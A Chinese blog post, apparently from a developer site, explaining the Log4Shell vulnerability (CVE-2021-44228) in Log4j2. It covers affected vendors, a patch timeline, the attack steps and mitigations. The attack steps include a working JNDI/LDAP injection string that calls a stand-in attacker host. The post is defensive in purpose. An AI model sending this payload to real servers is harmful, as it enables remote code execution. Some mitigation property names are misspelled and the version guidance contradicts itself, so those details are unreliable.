Java的一个日志库Log4j2高危漏洞

这个漏洞波及了多少大厂呢?
由于Log4j2这个库应用广泛,包括苹果、Tesla、亚马逊、Cloudflare、ElasticSearch、Red Hat、Twitter、Steam、百度、网易、腾讯等大厂都会受到影,还有数百家甚至数千家其他组织也会受到影响。

已知受影响的应用程序和组件:
Spring-boot-strater-log4j2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch

时间轴
11月24,开源项目Apache Log4j2的一个远程代码执行漏洞被提交。
12月7日上午,Apache发布了2.15.0-rc1版本更新。
12月9日晚,漏洞的利用细节被公开,影响范围几乎横跨整个版本(从2.0到2.14.1-rc1),当大家纷纷升级到2.15.0-rc1之后发现,该补丁依然可以被绕过。
12月10日凌晨2点半左右,Apache Log4j2紧急更新了2.15.0-rc2版本(目前可阻止漏洞的版本)。

漏洞简介
这一漏洞名为CVE-2021-44228,也叫Log4Shell或LogJam,是一个远程代码执行(RCE)类漏洞,存在于一个「数百万」应用程序都在使用的开源Java日志库Log4j2中。

由于Java应用程序通常会记录各种各样的事件,例如用户发送和接收的消息,或者系统错误的详细信息,因此该漏洞可以通过多种方式触发,而这一漏洞最危险的地方是它太容易被攻击者利用了,即使是毫无经验的普通人也可以利用这个漏洞成功执行攻击。

攻击步骤
1.攻击者向漏洞服务器发起攻击请求。
2.服务器通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的恶意负载${jndi:ldap://attacker.com/a},attacker.com是攻击者控制的地址。
3.记录的恶意负载被触发,服务器通过JNDI向attacker.com请求。
4.attacker.com就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class。
5.攻击者执行恶意脚本。

解决方案
Apache Log4j 2.x < 2.16.1 均需解决漏洞
常规方案
据 Apache 官方最新信息显示,更新了 Log4j 2.16.0 版本。

临时应急方案

修改Log4j2配置:
Log4j22.formatMsgNoLookups=True

设置JVM启动参数:
-DLog4j22.formatMsgNoLookups=true

设置环境变量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS值为true

可以提高安全性的周边设置
以下设置或操作可能会对防护此次安全事件起到作用,但无法确保安全。建议结合实际应用场景进行配置:

使用尽可能更高版本的JDK
使用rasp阻断lookup的调用
使用waf对流量中的${jndi进行拦截
禁止所有不必要的外连数据。

检测log4j2工具连接:
https://www.163.com/dy/article/GR3GBOK705381HBB.html

开源项目的风险,使用需谨慎!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值